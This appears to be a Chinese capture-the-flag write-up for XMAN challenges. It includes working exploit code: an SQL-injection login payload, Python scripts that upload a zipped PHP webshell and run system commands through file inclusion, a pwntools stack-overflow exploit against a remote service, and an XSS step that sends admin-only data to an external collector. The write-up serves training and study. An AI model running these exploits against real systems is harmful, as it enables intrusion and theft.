XSS1
经过测试发现 :
单引号替换成了下划线
#!/usr/bin/env python
# encoding: utf-8
import hashlib
import random
import sys
import string
def m(content):
return hashlib.md5(content).hexdigest()
def main():
start = sys.argv[1]
while True:
content = ""
for i in range(0x08):
content += random.choice(string.letters)
print "[-] [%s]" % (content)
if m(content).startswith(start):
print "[+] Found : [%s]" % (content)
break
if __name__ == "__main__":
main()
// 根据大佬的ppt中的绕过 csp 的 payload , 可以直接利用
admin=xman{eVEn_CSP_you_G37_mY_C00K1e}
Login
先扫一波目录
SourceLeakHacker ›› python SourceLeakHacker.py http://202.112.51.217:8099/ 32 32
[ 200 ] Checking : http://202.112.51.217:8099/index.php
[ 200 ] Checking : http://202.112.51.217:8099/
[ 403 ] Checking : http://202.112.51.217:8099/.htaccess
[ 403 ] Checking : http://202.112.51.217:8099/.hta
[ 403 ] Checking : http://202.112.51.217:8099/.htpasswd
[ 200 ] Checking : http://202.112.51.217:8099/css/
[ 200 ] Checking : http://202.112.51.217:8099/fonts/
[ 403 ] Checking : http://202.112.51.217:8099/icons/
[ 200 ] Checking : http://202.112.51.217:8099/index.php/
[ 200 ] Checking : http://202.112.51.217:8099/js/
[ 403 ] Checking : http://202.112.51.217:8099/server-status/
查看源码 , 发现如下信息 :
if ($result!=null&&$result->rowCount()==1){
echo $flag;
}
我们只需要控制 sql 语句让结果集不为空而且长度大于 0 即可
payload 为 : username=admin'%23&password=xman
XMAN{B4by_SqL1_w1th_L1mit}
protocol
据大佬说用 AWVS 可以扫出心脏滴血漏洞
在 AWVS 的漏洞报告里面就有 leak 出的内存数据
leak出来的内存中就有类似 post 数据的用户密码
然后直接登录就可以得到 flag
Misc150
首先把 gif 图片分帧
然后写脚本跑一下即可得到二进制的字符串
#!/usr/bin/env python
# encoding: utf-8
from PIL import Image
Im = Image.new("L", (400, 400))
def average(im):
height = im.size[0]
width = im.size[1]
s = 0
for i in range(height):
for j in range(width):
s += im.getpixel((i,j))[0]
result = s / (height * width)
print "[+] [%d]" % (result)
return result
result = ""
for i in range(304):
filename = "IMG%05d.bmp" % (i)
im = Image.open(filename)
if average(im) > 127:
result += "0"
else:
result += "1"
print result
Im.save("result.bmp")
baby web
存在文件包含漏洞 , 可以使用 php://filter 结合 base64-encode 的 converter 在文件包含之前将文件内容过滤一遍
这样在包含 php 文件的时候 base64 就已经不是符合 php 语法规范的了
在 php 解析的时候会将这些内容作为 dataStatus 的内容直接显示出来
下面是读取到的源码 :
// index.php
// upload
alert('不允许的文件类型!');history.go(-1)";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
//echo mime_content_type($tmpName);
echo "";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
根据对 upload.php 的审计
首先前面两个对文件的后缀名和文件类型判断的条件都可以很容易就绕过
因为他们事实上获取到的是客户端可控的数据 , 只需要在客户端修改发送的 http 请求包即可
可以发现这里存在一个非常可疑的一点 :
在移动 tmp 文件到 uploads 目录下的之后 , 调用了 sleep 函数睡了两秒
这里在这两秒钟之内这个文件是存在于服务器上的
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
只要我们可以在这两秒之内拿到文件名即可将其包含 , 触发文件包含漏洞
现在的问题在于如何获得文件名
经过扫描目录发现这里 uploads 目录是可以列目录的
这个是因为管理员在配置 apache 的时候 , apache 的虚拟主机的配置文件没有配置正确
在 Linux 下 , 这个配置文件在 : /etc/apache2/apache2.conf
具体内容如下 :
Options FollowSymLinks Indexes
AllowOverride ALL
Require all granted
参考资料 : http://www.ducea.com/2006/06/26/apache-tips-tricks-disable-directory-indexes/
然后我们就可以写脚本去获取最新产生的文件名
脚本如下 :
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
for line in content.split("\n"):
if "href=" in line:
files.append(line.split("href=\"")[1].split("\">")[0])
print files[-1]
获取到了之后再去使用文件包含漏洞去包含这个文件即可
但是这里有一个需要注意的一点 :
index.php 的 page 参数后添加 .php
因此需要使用 php 的 zip 协议去包含这个文件
关于 zip 协议可以参考 :
http://php.net/manual/en/wrappers.compression.php
所以我们可以先新建一个 php 文件 , 写入一句话木马
然后将其打包成压缩包 , 再将其后缀名修改成 jpg 或者 gif
最后上传
然后在包含这个文件的时候 , page 参数添加上后面的 .php 就会变成 :
zip://uploads/filename.jpg#webshell.php
这里放出利用脚本 :
upload.py
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/upload.php"
data = {
'title': 'admin',
'url': 'admin'
}
files = {'pic': ('xman.jpg', open("filename.zip").read(), 'image/jpeg')}
# 这里使用 requests 库来上传文件有几种方式
# 这种方式可以控制文件名以及文件类型
# 可以用来绕过基于客户端的文件名和文件类型检测
response = requests.post(url, data=data, files=files)
content = response.content
print content
include.py
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
for line in content.split("\n"):
if "href=" in line:
files.append(line.split("href=\"")[1].split("\">")[0])
filename = files[-1]
url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('head *');"
print requests.get(url).content
total 56
drwxr-xr-x 14 root root 4096 Aug 8 02:41 .
drwxr-xr-x 8 root root 4096 Aug 7 15:30 ..
drwxrwxr-x 2 root root 4096 Aug 8 02:41 css
drwxrwxr-x 2 root root 4096 Aug 8 02:41 fonts
-rw-rw-r-- 1 root root 1688 Aug 6 02:45 header.php
-rw-rw-r-- 1 root root 265 Aug 7 15:52 index.php
drwxrwxr-x 2 root root 4096 Aug 8 02:41 js
-rw-rw-r-- 1 root root 2714 Mar 20 2016 main.php
-rw-rw-r-- 1 root root 470 Apr 1 2016 show.php
-rw-rw-r-- 1 root root 2377 Mar 20 2016 submit.php
-rw-rw-r-- 1 root root 2205 Aug 8 01:47 upload.php
drwxrwxrwx 2 root root 4096 Aug 8 04:04 uploads
-rw-rw-r-- 1 root root 707 Mar 20 2016 view.php
-rw-rw-r-- 1 root root 44 Aug 7 14:36 xxxxxxxxxasdasf_flag.php
XMAN{Rush_Rush_oo000}
MISC 100
1. zip伪加密
2. 得到一个 png , binwalk -e 直接解压 , 然后直接查看解压出的数据即可得到 flag
XMAN{Png_HIde_sEcret}
Xor
这个题目使用了一种比较笨的方法做出来了
思路是下断点到最后判断用户输入是否正确的 if 语句
动态调试 , 分别得到 eax 的两个值 , 将这两个值异或之后就得到了flag的一个字节
然后直接一个字节一个字节动态调试就可以还原出整个 flag
我觉得整个题目应该是可以直接使用 idc 的脚本
或者 ida-python 的脚本直接就可以跑出来
如果有哪位好心的大佬会的话求告知 , 感谢 orz
XMAN{X0r_iS_Easy_Hahaha}
XSS2 :
document.getElementsByTagName('html')[0].innerHTML;
尝试了好多 payload 结果发现死活不能得到管理员的 cookie , 最后根据 hint 得到 存在 flag.php
想到管理员如果去访问 flag.php 是可以直接访问得到 flag 的
所以最终的 payload 是先引入 jquery , 然后直接使用 get 方法让管理员去访问 flag.php 然后再将得到的结果发送到 xss 平台即可
xman{OH_Y0u_G37_mY_secreT_F14G!}
维吉尼亚
直接用一个很叼的在线网站去解 , 连秘钥都不需要
暂时不太清楚这个网站的原理 , 简直神奇
www.guballa.de
XMAN{CLASSICCRYPTOGRAPHYISEASYTOBREAK}
easy heap
#!/usr/bin/env python
from pwn import *
offset = 56
# p = process('./easyheap')
p = remote('202.112.51.217' , 24598)
p.recvuntil('name?\n')
p.sendline('1')
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('Name:\n')
p.sendline('1')
p.recvuntil('choice : ')
p.sendline('3')
p.recvuntil('info:\n')
address = 0x400766
payload = 'a' * offset + p64(address)
p.sendline(payload)
p.recvuntil('choice : ')
p.sendline('2')
p.interactive()
藏了一个 /bin/sh 直接栈溢出覆盖到返回地址即可
XMAN{cie3rejo0muash0phieno8ohThipae6x}
木头人 :
23731263
111628163518122316391715262121
23 x
73 m
12 a
63 n
11 q
16 y
28 k
16 y
35 b
18 i
12 w
23 d
16 y
39 .
17 u
15 t
26 h
21 a
21 a
xman{qykybiwdy.uthaa} ???
有个比较坑的一点是 { } 这两个字符在键盘坐标中的横坐标是两位数